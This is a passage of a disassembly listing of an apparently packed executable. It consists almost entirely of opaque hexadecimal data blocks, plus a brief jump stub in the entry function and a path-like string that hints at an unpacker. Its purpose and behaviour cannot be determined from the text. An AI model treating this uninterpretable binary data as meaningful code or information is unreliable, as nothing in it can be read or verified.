		dd 780004A8h, 618E7D0Eh, 9888C61Fh, 715A2AC0h, 0D2B300B8h
		dd 4BF87A37h, 95E20CE7h, 82570A3Ch, 55B0BF29h, 0BE0840E5h
		dd 5A16180Eh, 4E2B397Bh, 57214A03h, 0F040C334h,	4A728h
		dd 0E252D2DAh, 5AC83885h, 8D317661h, 9CDCFA71h,	0BF2F0336h
		dd 0E6FF75B9h, 9251180h, 148FF026h, 0C95B0C83h,	0A403A277h
		dd 2888498Ch, 9D84011Dh, 3AB6BAF0h, 0A4D2D4C0h,	0DDD0C609h
		dd 6F502082h, 2127D39h,	38F69141h, 8862FD54h, 0DD2D1582h
		dd 0F5008864h, 44C7C4EAh, 0BBC556h, 0DFF3DD4h, 200A0396h
		dd 0B6078D00h, 853097Bh, 17410018h, 0C4C7804Ah,	9CFA6C71h
		dd 6099F76Ch, 0A31A05BBh, 302CA014h, 983927B0h,	0E7553E00h
		dd 5014F349h, 8E9912FDh, 8A420A4h, 0B5000A85h, 2EE072A0h
		dd 36FD37Bh, 86F5BE34h,	0AB04202h, 19004009h, 5929B795h
		dd 0CD1D45Fh, 130570DEh, 524CBE49h, 0F630118h, 237583Dh
		dd 0B126A180h, 9FC4D876h, 382CA200h, 0C3BA99D1h, 0A8840348h
		dd 90324D6Dh, 87D2A5D8h, 0FC413A26h, 0C11DF00h,	50776F50h
		dd 1AB340Fh, 0EBCB5ED0h, 5084DFADh, 0A8752EA8h,	62D20A00h
		dd 9037B09Ch, 9D080060h, 0D65907D5h, 5F0940EBh,	8CB335D2h
		dd 3877392Dh, 10109E8h,	22339B7Bh, 3E32CCB4h, 785AAD2Eh
		dd 0F7D8C943h, 7B0512D0h, 0BE73E7h, 99E9A8BCh, 0D25ECCACh
		dd 2D0EAF09h, 0F3448037h, 689E87h, 489C6D5Bh, 44991FCh
		dd 23288A8h, 903F8100h,	5383097Eh, 45F0048Eh, 80365E96h
		dd 0BED8167Ch, 4CF60424h, 842E3062h, 174528B8h,	2108D883h
		dd 80305F58h, 6A9A2316h, 12BC0087h, 55E342B3h, 0C2488605h
		dd 0FB704A8h, 0EC205B7Fh, 4B70943Fh, 2B189500h,	0EA5C670Ch
		dd 0B12202EEh, 0A1DE5158h, 89DA8898h, 5C818B00h, 0B796AB7Bh
		dd 368400BEh, 0A92A606Ch, 0D8003C14h, 1AA8C6B4h, 0B075F52h
		dd 0A1AC806Bh, 0FF382090h, 0CD33607h, 0E5C0C49Ch, 3091DDh
		dd 25F3C55Eh, 0B6BD721Ch, 9BFD1F1Fh, 741DC652h,	260D807Ch
		dd 0E78A6DD7h, 4858E815h, 0FA2A26FCh, 443B07B0h, 0A0826AF9h
		dd 59A81C11h, 0D75A090Bh, 2800B5Fh, 21160C98h, 97457A17h
		dd 40084CD9h, 0DF7280FCh, 9D79CEBCh, 3117A130h,	1D6514Bh
		dd 0FA276EB0h, 0D0D324F7h, 0AF7685EDh, 0F39E7B18h, 0B040F541h
		dd 4A7D2280h, 0BFC4E201h, 489D8BB4h, 700DC32h, 0E75CD924h
		dd 0F604180Bh, 3663A212h, 62A088h, 0C6BC20EBh, 6AABA5FFh
		dd 75059000h, 18A28A19h, 0D84D60B6h, 0BAAFC5F0h, 362C4E04h
		dd 7320760Eh, 586907Bh,	0AE7F8AA7h, 0A870CCC0h,	96063C00h
		dd 7A38FC86h, 0CD6B01D5h, 10D1423h, 0F89431F6h,	79310EB2h
		dd 0D1595978h, 2C3B92F8h, 309E370Ch, 0CB77CD88h, 205A5F25h
		dd 399CC424h, 40C701E8h, 9A8D6D3h, 5216F82Fh, 1F510F26h
		dd 4593AB00h, 1B2902Eh,	5D322B80h, 209EB45Ah, 6C00925Ch
		dd 0DA9A8108h, 60A19828h, 57E7B914h, 0FB05B8EEh, 672A7299h
		dd 0FAB7F600h, 0A12CC726h, 50174B84h, 755F2FD3h, 9C8011DDh
		dd 0CFB0FF08h, 490B00B5h, 4574C74Fh, 1D2C0ACBh,	720244C1h
		dd 62DB11A2h, 0F44423h,	0E654D0A0h, 7BC788FAh, 0DC853C00h
		dd 7FB0B2FCh, 482C25CFh, 98A4C420h, 140064ADh, 1274D52Dh
		dd 280B158h, 0E18459CBh, 14432C4Ch, 0DC236CCAh,	697D7Fh
		dd 0AEAF64E6h, 691C6E37h, 2BDF9D00h, 4AE8C4A3h,	8A8246Dh
		dd 94310070h, 5AB1910Eh, 3DBD4494h, 0CB938107h,	25B9A887h
		dd 5EBDD041h, 445A4FF0h, 0B0008D7Fh, 0C7AAB9FFh, 14A479B7h
		dd 0F47C0E48h, 9527D6C0h, 99C07ADCh, 45CDA1A4h,	3479E3h
		dd 0D19F2391h, 0B142C138h, 95BED01h, 9D7B2771h,	66098822h
		dd 70640377h, 53A9311Ah, 3A3400F8h, 51DB3Fh, 1A76C3FEh
		dd 4BC11C75h, 902B2D00h, 33D479CBh, 83D63730h, 0ED814089h
		dd 0C300AB6Fh, 5E2E24D1h, 0B9A4F6D0h, 32928A4h,	1F94ABCFh
		dd 69B8AA55h, 403AB52Fh, 482913FBh, 0AD91CC20h,	0D21B0086h
		dd 4B3D10D1h, 6602EA22h, 0EEDAC84h, 9998647Bh, 119320h
		dd 24C5484Dh, 7602169h,	1AE06D36h, 1B0A461h, 0F80847B5h
		dd 38426525h, 6D348028h
		dd 0F4F4C3CCh, 311C0049h, 4AED3009h, 41E7D18Bh,	10F8A8A0h
		dd 44A1E82Dh, 9401D21Ch, 4CDFFABh, 0C0078EC4h, 0E52ABF3Fh
		dd 61DB9B12h, 22267420h, 13DF0057h, 0F50D347Fh,	0B000C847h
		dd 0E917D5A9h, 92107EAh, 0EFB4C559h, 989EB480h,	0B894349Bh
		dd 0D9840640h, 0F0C4002Bh, 4FDA32BEh, 0EEE8E1B3h, 0CEEC964Ch
		dd 0D23DE084h, 4808DB48h, 742224E4h, 2987DC30h,	28C23EA7h
		dd 0AFE4BCh, 23A4F137h,	4406AAFEh, 0BD126CF4h, 0C01369B4h
		dd 2C1C0Bh, 0E19E98Ch, 286D5081h, 78318870h, 45C4BA00h
		dd 0DDC6B6F1h, 0C549248Fh, 1069003Ah, 4CEB8341h, 110DF8A1h
		dd 9C707F96h, 43C800E7h, 8582EF8Fh, 0DE001B06h,	6F24FE3Bh
		dd 4DB3D83h, 22995EB3h,	0C827804Bh, 912C1087h, 0A20459C2h
		dd 4888DCCAh, 4FAD00A0h, 0A59D941Bh, 573A0727h,	3B021353h
		dd 7B6D1044h, 56990C0h,	506C96F8h, 42026482h, 2685DFD3h
		dd 3CC4A4h, 3A271E60h, 63750D10h, 9C87AC00h, 70210206h
		dd 88409E0Eh, 5B004F2Dh, 6175C3B4h, 94D65CE5h, 7C009D89h
		dd 91090B56h, 1F8EF5Ch,	54D323E4h, 84DEF905h, 18402B48h
		dd 0DB1D5AE0h, 4E51D706h, 4470331Bh, 90963602h,	6B8AFB83h
		dd 8EB59020h, 9C7400B7h, 66286F4h, 462C764Ah, 0E960A484h
		dd 99E1B6h, 0E07C4BE3h,	12243B3Dh, 7C2E0D24h, 59000491h
		dd 46F8A1FEh, 141287E1h, 534483h, 1715B814h, 8C20A12Fh
		dd 3D2EB4Eh, 0E3730A51h, 0C1B5D1B5h, 227A0E10h,	1A36C01Ch
		dd 0EE4908h, 0F5B6CFE1h, 5BF07E15h, 21EA6301h, 0DD93D58Bh
		dd 50F29091h, 0E3E6BE90h, 9003A898h, 67938765h,	0C9A21628h
		dd 97308852h, 37B01205h, 888CB141h, 7740006Dh, 0E057B891h
		dd 7B1976A3h, 0CB51BC64h, 0E42094DDh, 0CF3E00A4h, 0EA416DB4h
		dd 0B8B82F9Dh, 7F0C0891h, 8AFC10D6h, 0E7515460h, 7782900h
		dd 89C2B439h, 0C71400B0h, 942A4AC6h, 58144986h,	2C8E487h
		dd 9230770h, 0A18890CBh, 15A4A90Eh, 53608D21h, 9140008Dh
		dd 0FFB994B7h, 0D8141FCFh, 80B815A4h, 73B3B2F8h, 249B00D3h
		dd 0CF025836h, 7800D490h, 2055C9AAh, 0C330BCBh,	0FB37706Ah
		dd 213C15B1h, 38520E0Ah, 182861D1h, 79D1D968h, 906DAC20h
		dd 9270E94h, 2C40BC0Eh,	923A0CA3h, 9E7F1A00h, 24B97ED3h
		dd 0CB76129Dh, 0C3B0036Ah, 0A9C12E79h, 87A83C04h, 0BFA0E93Ch
		dd 0F714E6h, 0C89BBD89h, 0E8ECC02Ch, 574B0301h,	0A4DE6991h
		dd 0FC1F743Dh, 277A801Fh, 0CA7FED56h, 9EA35F01h, 1B666A65h
		dd 0B0A6FEECh, 21501338h, 0D5540934h, 130094E4h, 0A0ECAFCAh
		dd 126DB85Fh, 0BAFF89C3h, 0F0C1521Eh, 2999597h,	80CBE089h
		dd 14326468h, 16048E49h, 3C164CF0h, 0F506B860h,	6B070940h
		dd 80023AEEh, 0AA18D362h, 0D59E01B1h, 3BE83E10h, 8E48202Ch
		dd 177C188h, 65CB08BCh,	2D097053h, 0C7A80FACh, 0E669015Eh
		dd 2E317B9Ah, 775AD411h, 0F00081BFh, 76525712h,	7D01BA31h
		dd 227B7408h, 0B838F74Dh, 0F2094480h, 1700D2A0h, 1A9B997Fh
		dd 0C5C8846h, 6D790E43h, 74B9DF29h, 0B5AE500h, 154694Ah
		dd 0C6D443FFh, 0F89B5DE0h, 8F093272h, 0D20403Dh, 0C442B18Dh
		dd 2C7AE0FCh, 0A490F8BCh, 0CCB9480Ch, 5C6FFB04h, 9128C2ACh
		dd 0BA029446h, 0CC612B62h, 1C5929h, 39247696h, 1400B930h
		dd 0D75EBF3Dh, 60D6DD90h, 2840A97Ch, 3A00DF92h,	2DF78A61h
		dd 75BE6077h, 0A0D22744h, 7920AC10h, 7E904900h,	0BF2BA601h
		dd 90407131h, 7730414h,	9086093Ah, 0E3CA3F94h, 0C0DD6F26h
		dd 0B04BA04Eh, 13697E0h, 30EF2155h, 0C9834317h,	1260683Dh
		dd 140057CFh, 0A2EA3CD1h, 0D37700D4h, 0FF4AFF2h, 3B0054EFh
		dd 0FE533F02h, 0DC195BAh, 0FF482810h, 0BD7EDCF1h, 62F17003h
		dd 0A0CE0A73h, 69A22Eh,	0DC8AFC5h, 63667748h, 0A57F3203h
		dd 86A4B681h, 6A6F00E1h, 8235AA3Bh, 0E80733EEh,	0C9D10D90h
		dd 0D448A073h, 4FB3DCC0h, 30BA3FE9h, 0AC15D39Eh, 34240E1Dh
		dd 0A001B489h, 922B3D78h, 4000CC78h, 7B31406Ah,	4F9449Eh
		dd 9CC38628h, 0D4F0A760h, 3EA24E2Ah, 0C00C56Ah,	79486BCAh
		dd 0A01205F3h, 582061E6h, 20897Fh, 0DB75340Eh, 164B2452h
		dd 0FAB07A01h, 8DFF0587h, 2ACB4700h, 51DA2602h,	5BBF80DBh
		dd 0DEDD0098h, 0DA673FCEh, 0A779B204h, 1C884912h, 629139D2h
		dd 26E74A4h, 0F77D515h,	1724B4D2h, 0BF0161B4h, 0C131A6B3h
		dd 0E3ECDCDDh, 0F87D78E9h, 8B6524AFh, 97046044h, 39056C85h
		dd 260C35D6h, 7880F81Ch, 0D3B6D48Eh, 0CF120A67h, 760DD53h
		dd 0C5826D09h, 7E7482AEh, 11767627h, 80C61489h,	0CA03A08Ah
		dd 549E62Fh, 1F567100h,	8D724E2Dh, 0BDD93D2Ch, 6582E12h
		dd 8C7C6A4h, 0CDA2B60Bh, 612490DCh, 45921B58h, 7BA11241h
		dd 94C629Dh, 51372E28h,	91FD0024h, 7015B560h, 61172708h
		dd 55D6807Ah, 0E1D0CF07h, 4D989E00h, 0E2B1B3E0h, 348B0B43h
		dd 0A86432A9h, 0F101E976h, 900876E8h, 0B02B7CE5h, 0B6009E65h
		dd 0B2BB8C26h, 0EE51CD21h, 58309031h, 0D84C1752h, 4F049F04h
		dd 7B38C8D6h, 0FBF8A900h, 84ABD5F3h, 0AA140342h, 15D6F582h
		dd 7213B1E0h, 5B1D4890h, 62005455h, 0EDB31C34h,	0C30E0C04h
		dd 5F20F0A2h, 7C65C04h,	0E08C4962h, 0A3CE0102h,	10B19A40h
		dd 8F78C837h, 3AE92100h, 92CAE3D1h, 0D3701650h,	0B45C0969h
		dd 89E61000h, 272CF5C0h, 0A240B0A1h, 769B3Bh, 48B9647Eh
		dd 3289FCBFh, 20850E27h, 5309CFF0h, 38DE443h, 0C9E36AC3h
		dd 0A5A504B1h, 6BB04220h, 10104C41h, 15155739h,	0B0F648ABh
		dd 7A95E301h, 925E5AE8h, 20D25BD0h, 0CF544065h,	6B720098h
		dd 50BE63CAh, 360995E0h, 0E488CB57h, 0F0BA1F24h, 33C340B6h
		dd 0B51931B1h, 0A9A6B200h, 0E560776h, 80889E83h, 72BD661Ah
		dd 74543ADEh, 80009838h, 69FDC7D7h, 0E5289Ah, 313CA6CAh
		dd 331DA9D3h, 0DA122h, 0CA603E74h, 7B87AF55h, 0EFF6BA00h
		dd 0B47576DFh, 0AE3F0B77h, 0C08818C3h, 26AB0030h, 0EF3BBC45h
		dd 8073173Ah, 135AD8DBh, 0A36CE7h, 553839C7h, 0A8792E5Eh
		dd 9CF448h, 0BD7836B9h,	48C24B0h, 738572BCh, 15309114h
		dd 5DE07427h, 0EFCEF02Eh, 6629AA00h, 940276F6h,	0B84994A8h
		dd 0F2B3C587h, 0CF1866Eh, 75A90B00h, 3EBC8B63h,	0BA0F5513h
		dd 666046F1h, 79E254FDh, 7B8E700h, 7F8DDC57h, 9D4F217h
		dd 83C89106h, 0BE78104Ch, 2A0BA322h, 0F080685Ah, 0A1E300D7h
		dd 503C7C08h, 0C800497Fh, 29BA04F2h, 1D6959Ah, 0EA86994Ah
		dd 487062h, 25664D63h, 64228014h, 0BC540176h, 0B28AC66h
		dd 48D94B68h, 930E08E8h, 0F3A5DD3Dh, 811C1807h,	8C7B9959h
		dd 88F3B0C6h, 8554DD66h, 8E00EB84h, 0F522C978h,	0FED8249Ch
		dd 9196EE5Ah, 84998058h, 777217E8h, 122BF82Dh, 1298C6E8h
		dd 80A0FAD2h, 8AFE0510h, 0ADDC80A8h, 3C26E0A1h,	0F2BE80D4h
		dd 58B8136h, 883F401h, 0E5C183D8h, 0B07CDDA8h, 0E1F1271Ch
		dd 6A05C866h, 0B0085A58h, 0F82A81F7h, 3C0F3810h, 0CAE98094h
		dd 0DD31F4h, 0AE7C3A8Ah, 6BD21D5Bh, 3291DA00h, 86DB4320h
		dd 4E812D4h, 0A1048CFFh, 977B3912h, 0FE049891h,	0C500E826h
		dd 5940CB77h, 903BD60Fh, 23AD9FB3h, 13A4CE6h, 0E724CDE4h
		dd 49FC8CDBh, 0B2FC002Ah, 0C3C4FB5Fh, 744C54B4h, 797C1124h
		dd 6B095903h, 4BA0AC37h, 9F034E81h, 0D55272E2h,	0C64D8BEh
		dd 77840848h, 608C110Ah
		dd 5508890h, 0B9AEFEDCh, 60A2CEh, 0E267732Fh, 0B6F17Ch
		dd 61C1CBCCh, 9F86E791h, 0B356F700h, 0C73F248Fh, 20274B52h
		dd 1D4BC12Ch, 819D8739h, 42C5C26Dh, 0D83CF6AAh,	0A70587h
		dd 0F9E01646h, 0B9EFCC1Ch, 0B25A2C0h, 2E79D826h, 9FB8BFB5h
		dd 8663002Ch, 998B055Bh, 0B3B12907h, 9D135FC8h,	52ECC8C7h
		dd 30C35BFCh, 3302CF9Ch, 0AF4B405h, 0EC300B55h,	8A1918h
		dd 0EB3F8D89h, 984899ABh, 45A2A01Dh, 14BC2502h,	0B7AC9061h
		dd 9B5603CAh, 0CB6C2B5Eh, 9202D7A0h, 5689CA0h, 940E09Eh
		dd 1FC12A43h, 0A25ABC6Ah, 83752F3Bh, 5E58D124h,	0E854B852h
		dd 5CFA006Bh, 8B16D28Dh, 0DC98F537h, 248464Ch, 778FDEC2h
		dd 47405E05h, 0A1720D3h, 0D4125916h, 5CA26951h,	88611800h
		dd 2C4C5E32h, 762A1A00h, 67C78605h, 67A57025h, 81B658D5h
		dd 1383DD6Dh, 532C88C7h, 0C9E22437h, 0F520073Ch, 840EA202h
		dd 5184BCD9h, 0C088C705h, 52BE2439h, 7F1204A4h,	8044AC23h
		dd 0D9D35025h, 0B29601C9h, 35D0F8B5h, 0C01040A1h, 5801600Ah
		dd 0F5ECF31Fh, 40C2BBBFh, 884A7964h, 3902B2E2h,	6B7386DCh
		dd 0BF88545Bh, 0F593E183h, 0EF883C7Ah, 4D04BAC9h, 967BA353h
		dd 2E299CC8h, 5203F01h,	0A2B132BBh, 150070A4h, 88CDDE54h
		dd 317A24h, 0FD20CF74h,	0D3FE2FB7h, 9040A14Ah, 294A6A36h
		dd 31274CD0h, 89AC7200h, 78878257h, 4B5ED414h, 0DD410180h
		dd 65902906h, 16DB6970h, 8AEE3E0h, 0E806258h, 0F4DA7EF7h
		dd 0EE010107h, 7B6103C8h, 809CC925h, 0B9791E71h, 95E36FBFh
		dd 9617F499h, 9820A4C8h, 0E3DDF29h, 0CCD66F44h,	0EF976E00h
		dd 88019C13h, 7F0E4641h, 2CD0F04Ah, 483725A0h, 2D628423h
		dd 0B5A277A8h, 9AC0948h, 13E074Ch, 855BD23Ch, 2CE8CECh
		dd 0D8E68DDBh, 14667053h, 232B6600h, 0FCDBD12Ah, 0D8910BC9h
		dd 0E4C8A4E4h, 44380E02h, 240383E5h, 0E04AEB3Dh, 0E4F3BD3h
		dd 5F23CB70h, 4B3F91h, 0DBE28FFCh, 120F0EA2h, 0BFAA3h
		dd 56B45934h, 4909E4Eh,	6D90C90Eh, 0FE3F8222h, 0B8D2DCh
		dd 50FB3882h, 0E451CC2Bh, 0BE77EF90h, 0DC3B0700h, 66B782B3h
		dd 0A1D6135Eh, 508C03F7h, 0C4F09DE5h, 0C702DF72h, 7B9B2A45h
		dd 4040769Eh, 0F7FED18Bh, 14713100h, 782CA7B4h,	0E7A13C7h
		dd 99A400E9h, 297EDF28h, 80DBCF00h, 0FE513360h,	1F93019Bh
		dd 7F1470A7h, 22B0637Ch, 0D698A113h, 0B9756040h, 820E0004h
		dd 0E3095BA8h, 0A5750C10h, 51EB3114h, 59B400C9h, 5F362465h
		dd 736A0107h, 4AE23AD5h, 83E42C5Ah, 0FC60E518h,	0D3D47B80h
		dd 50410006h, 6587D0C9h, 590019C4h, 52B19CFCh, 9149325Eh
		dd 0EBE30008h, 0CD441DFAh, 0C848C125h, 5CDD6094h, 0F700A7BDh
		dd 546A0FB1h, 0B3169736h, 0E0302CD2h, 7D627A4h,	925C110h
		dd 0DF2AC036h, 68445AE3h, 0F1E2007Ch, 456A9C31h, 5E010813h
		dd 588B34E7h, 56F8CBE4h, 252202CCh, 0DFF7360Ch,	34FE20E4h
		dd 2454A603h, 0B8B182BCh, 3D1B6A42h, 0D3AFCE5Eh, 7B722C01h
		dd 0A4342EAAh, 5E83E480h, 65BC26D1h, 0F2316A8h,	5B6C9C6Ch
		dd 5D278F18h, 903CCC3Ah, 8250DC14h, 25E4530Ch, 9DF824D1h
		dd 70522DD8h, 0C7B27824h, 0C8A41540h, 0A002486Ch, 1A5DA25Bh
		dd 26646886h, 4F2C0039h, 3416CFFEh, 320444D2h, 0A7B5D5FDh
		dd 7300C8F2h, 3A9AF868h, 5500D635h, 0D1F4DB01h,	0BFD7F2h
		dd 0F579AF72h, 9458D51h, 183F4224h, 8FC45B14h, 0A319A0A6h
		dd 4C22245Eh, 2F07F7BBh, 609835B3h, 0B8671020h,	598CC48h
		dd 277CAD1h, 4E17E488h,	9482285h, 0FE6DAB10h, 120C1CF8h
		dd 6B6C427Bh, 10540177h, 59CE89h, 0F55C9038h, 12B8127Bh
		dd 0FCB80834h, 59F8048Dh, 79D460E2h, 0ABC500C9h, 5E2E25EFh
		dd 7B2BAA3Dh, 0C200F0A9h, 0B802C67h, 601A2EB0h,	77B803A4h
		dd 79270506h, 382E36h, 25DFB3B6h, 0EAD602FBh, 53CFCC1Bh
		dd 24F81FC3h, 73314E40h, 4936A8C1h, 0FD25AC3Dh,	0A8B64094h
		dd 5DD72640h, 5E8903A9h, 59FF10EFh, 1028A1D1h, 1D8D75Bh
		dd 7EE2B590h, 486131D1h, 0CF003CC4h, 3003A929h,	7F407A6Fh
		dd 0C5BF1225h, 0E734017Bh, 6099D00Bh, 0CF1150C4h, 59893286h
		dd 826AD884h, 0A874696Ch, 43FA2F40h, 9BD801B0h,	68248E1Bh
		dd 9C7B60A4h, 0A60050B8h, 254D647Dh, 14ADB29h, 0B4B7A58Dh
		dd 6C3807C1h, 0E878010h, 0E98F47h, 0C56E0835h, 9C60582Bh
		dd 920100Bh, 47492FEh, 4152F2E4h, 0FCDC21F0h, 0C0D42C9Ah
		dd 0D3C0A66h, 24283FE9h, 0BF00193Ch, 580385AEh,	94021C38h
		dd 7B7626B0h, 7928809Dh, 461E8ABh, 41D3701Bh, 1EFCE259h
		dd 731222DAh, 0F100E9FCh, 3631C7FAh, 8305551Eh,	0D15762CEh
		dd 30C92CF0h, 0F3397ADDh, 3EF23CAEh, 0C8008C76h, 544BCB53h
		dd 1E7CA5B8h, 85AF313Ah, 0A29F7B5Eh, 0CE0E165Ch, 40A409h
		dd 0A776234h, 72BC881Ch, 5624DE7Bh, 2639F605h, 0A64FC85h
		dd 7054C020h, 50F10324h, 0B3FE50h, 4B0C9BB1h, 256D650Fh
		dd 2F58E800h, 119DE09Ch, 0DBF50C2Bh, 4759FF04h,	0C0B0C3F2h
		dd 0C4C7C227h, 67A5067Ch, 0A8276B03h, 0E820694Ah, 0C0969Fh
		dd 1EBB93C5h, 0B0BF3384h, 0C11CD216h, 6D9E44Bh,	9302164h
		dd 0EE7DCF8Dh, 74434000h, 6A60DAEFh, 0C444B348h, 0B1FD281Ah
		dd 63C13A8Ch, 0E4102427h, 7E00AF27h, 82B6DD03h,	3E615ADh
		dd 8F6CCBC4h, 6FC0F0A5h, 0BF1EAF3Fh, 606D0FB4h,	0F1FBC0Ch
		dd 0B01C1AC6h, 92832581h, 10202EECh, 70F634D4h,	3A1D0256h
		dd 7B0E93FCh, 68847859h, 0E8C22283h, 0A04925FDh, 0F20216B8h
		dd 0E26AA237h, 0A7946090h, 0F0B3600Ch, 0C505617Ch, 7B698162h
		dd 9858D991h, 0FFC1A1C7h, 4427A325h, 69D007Ch, 134293C9h
		dd 7805B38Fh, 0A7D7164h, 3DA9A180h, 2AE816A0h, 0D30801B0h
		dd 2CCB0440h, 0F5318010h, 0A0D7963Ah, 2909EA4h,	1C790168h
		dd 2DC0FE37h, 565BEDB6h, 8FD75020h, 41C00009h, 0CF9E8766h
		dd 922E9D2Fh, 0F2140C50h, 82200BDCh, 1D18105Bh,	778A002Ch
		dd 2AD69C4Eh, 600049C7h, 78BF0D97h, 0F6B1D9FBh,	0EC9961h
		dd 6A55DB08h, 0FCB417F6h, 0ECB15A40h, 6BA0786h,	6105AFA2h
		dd 0E850D8C9h, 1C2FEECCh, 0A6E00024h, 4BA647Bh,	4B4378B2h
		dd 0A4A244h, 1A469061h,	9E71EDh, 4B91A218h, 0D33D4FF0h
		dd 44EC9724h, 25E9603h,	72D4E09Dh, 212B09DAh, 4796B81h
		dd 0BD2C9A03h, 1C8F8073h, 556701CBh, 4AD8CE33h,	4CC0FB25h
		dd 0B803211Ah, 0B030B972h, 0A4C4A379h, 44CD04A1h, 151E5430h
		dd 0C889FF09h, 7A0E9D0Bh, 1709701Ch, 90A4B5B4h,	0EE8FECh
		dd 0AFA1A6FAh, 8022DCF3h, 0C4327327h, 0FD41010Ch, 164B3F66h
		dd 5F6DECD9h, 51723604h, 54F29B23h, 0E089D300h,	5832A387h
		dd 98ACBD00h, 5E9E1555h, 53CC07E9h, 99DBD25Fh, 3001F889h
		dd 0AD1F79F1h, 9A2C1088h, 73ED0780h, 1095A489h,	0DB79E877h
		dd 35522501h, 4D54923Ah, 0A380023Ah, 28E65A1Ah,	38E78600h
		dd 95F2176Dh, 0E3C80E48h, 5F654BFAh, 541C37h, 0DCE9EBB2h
		dd 4D4C5C3Bh, 60A400C5h, 0D4BFDA84h, 51C46004h,	760E3747h
		dd 0A4A090B5h, 6655057Ah, 80CBAB28h, 25526B58h,	61DB3A12h
		dd 0BE2704D0h, 9BDA0039h, 698874A3h, 677C22B0h,	80002975h
		dd 0F657098Bh, 0B1BD4840h, 0EE848754h, 10ACD7D8h, 0C38EE8A4h
		dd 0E336F700h, 8DDB3FCCh, 0C02CEF1Ah, 418E4283h, 0E36C86B8h
		dd 0B1B084C5h, 2E138830h
		dd 0FC8900B6h, 0DECB4F0Eh, 0D7138F8Bh, 9400A3A4h, 4B641287h
		dd 43C4965Eh, 0FFE843CCh, 7507B64Ch, 0AD2144AFh, 0A05A8890h
		dd 0D92C07D1h, 6090B473h, 0DF1B080Fh, 0CCE080B5h, 55A9EC5h
		dd 0E2D7E19h, 0C79C307Dh, 0A02448Fh, 0AFBF7B4Bh, 86B4809Fh
		dd 5EBC63BEh, 0C55040DCh, 5759C07Ah, 0A8416100h, 1565139Ah
		dd 1BE24A2h, 4A69011Ch,	940C0A70h, 80EC49B1h, 2007DB4Bh
		dd 0A37042h, 0C19BFBA0h, 878B88F2h, 1488805Eh, 63F801CDh
		dd 0C45E9503h, 0A1D0E8DDh, 7B65B90Fh, 977445Ch,	0B48108ECh
		dd 734824DEh, 0C58601C0h, 263064FFh, 1F472ECh, 6119F10Ah
		dd 0F0059643h, 591A58CDh, 84D9F870h, 10BC7BBCh,	0C8A292h
		dd 0A98067AAh, 9F98CE9Ch, 74F608F8h, 0D5ECD301h, 0B5881736h
		dd 6DFC60h, 0B10BD25Eh,	0A1ACA6C4h, 0E8339426h,	0CFD8CC80h
		dd 54ED377h, 0E2D75F52h, 427880CAh, 109D89C2h, 5453A84h
		dd 0FCB1E60Ch, 0A84888DFh, 79A1F202h, 5EA9283Dh, 204D4044h
		dd 0D50043C0h, 0A42226ADh, 0F185B69h, 2A0A9FFAh, 0A145FCE2h
		dd 4B779440h, 2DCAC788h, 606405A0h, 0C5C1C0C0h,	242640C4h
		dd 5E03577h, 0E8566EDBh, 5D1980B4h, 3952CB73h, 0B339D6E5h
		dd 8C7F0E92h, 10944014h, 71F18040h, 452A0FD9h, 2440D4BBh
		dd 0A37637D1h, 3CE0AB00h, 7AFDC69h, 6FF00Bh, 80BFCD0Fh
		dd 9380285h, 93C0C75Ch,	722E8430h, 2A620FD9h, 7AAE505Bh
		dd 0C7DA3B20h, 5899DDD1h, 12787600h, 71AB736Ah,	0D2BD00DEh
		dd 0A4BBEE2Ch, 492A98CDh, 8217CCC6h, 0C0082D84h, 0A2924F01h
		dd 0A41C05F0h, 20B2404Eh, 32B8007Dh, 61DFDA85h,	1202B08Fh
		dd 60D9ED92h, 0BE4CC18Bh, 46490C8h, 1735677Bh, 0A60EDDFh
		dd 0DBD7F572h, 3D29A207h, 0DC897B61h, 0F1263840h, 0AD380055h
		dd 2E5E54BEh, 364E7767h, 711E888h, 0FE5DE012h, 57CF07Ah
		dd 7D0E132Ch, 0C0247623h, 29D57FB0h, 80B4B1D8h,	0EA2E8969h
		dd 48224245h, 0F0A9020Dh, 0E17A024h, 0CF417D60h, 23EF0F09h
		dd 0D5A180F2h, 0B0B7A1DAh, 77D6160Ch, 0C1E08899h, 11752802h
		dd 5236EB01h, 920E0198h, 7B25B063h, 5AAC29AAh, 0A2E82CC9h
		dd 0EBBF1DF8h, 7E7BC053h, 3CA5ED0Eh, 0A44484B8h, 90DD4B59h
		dd 8133B39Ch, 8AAA5C00h, 4640FC05h, 62F01D6h, 31520B79h
		dd 78406A48h, 456EB2BDh, 162C16AFh, 10500043h, 924E845Ah
		dd 25CB9901h, 285280DDh, 0DE80AC2Ch, 4BEB318Ah,	0FD5DCE02h
		dd 0D826C60Bh, 0F6A265F4h, 53ECC055h, 6CB1797Eh, 265EFD00h
		dd 1C73AF6h, 61B2E371h,	280577EFh, 0B8AEC3D4h, 0C4CAD2A8h
		dd 0A4029558h, 0B8F686E7h, 3BBE2641h, 0E0DA8FD0h, 0D4C70058h
		dd 572D3C6Fh, 595C4498h, 313E3AB8h, 5E5270F2h, 0DD1E1833h
		dd 2FA68508h, 4D7892CFh, 8292A098h, 6073200Fh, 0D544079h
		dd 5778FCh, 0ECE7EEFAh,	0E89D5B09h, 4AA3D600h, 37560C2Dh
		dd 22B40C86h, 0D3B07C16h, 1AEA43Ah, 97D6545Ch, 14BCCF6h
		dd 80EDFFFFh, 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54192D:				; CODE XREF: start:loc_4E6265j
					; DATA XREF: start:loc_4E6086o
		jmp	loc_544C82
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 0C2E9h
		dd 6 dup(0)
		dd 312C0000h, 3A43FFFBh, 755F6D5Ch, 6361706Eh, 72656Bh
		dd 81h dup(0)
		dd 9E60000h, 58h, 0Ch dup(0)
		dd 0D15C0000h, 2543h, 47FD0000h, 58h, 0
		dd 72B10000h, 0A119h, 0
		dd 377D0000h, 0A8005DD0h, 3 dup(0)
		dd 3040000h, 7FFEh, 8CEA0000h, 0FF5Dh, 0A8850000h, 57h
		dd 0
		dd 8D530000h, 0A4h, 30DF0000h, 0A9C5h, 0
		dd 0FF540000h, 0E5C90012h, 6768h, 0
		dd 90120000h, 0FFA5h, 3	dup(0)
		dd 9CE90000h, 0FFA5h, 0
		dd 92940000h, 5Ah, 0B5E20000h, 8A0Fh, 28610000h, 19BA0000h
		dd 3 dup(0)
		dd 630F0000h, 0D5E9h, 4	dup(0)
		dd 0A00F0000h, 35B00A0h, 708E0000h, 688Ch, 0E19E0000h
		dd 5Ah,	6Ah dup(0)
		dd 189A0000h, 0FCFC77DDh, 8001h, 0
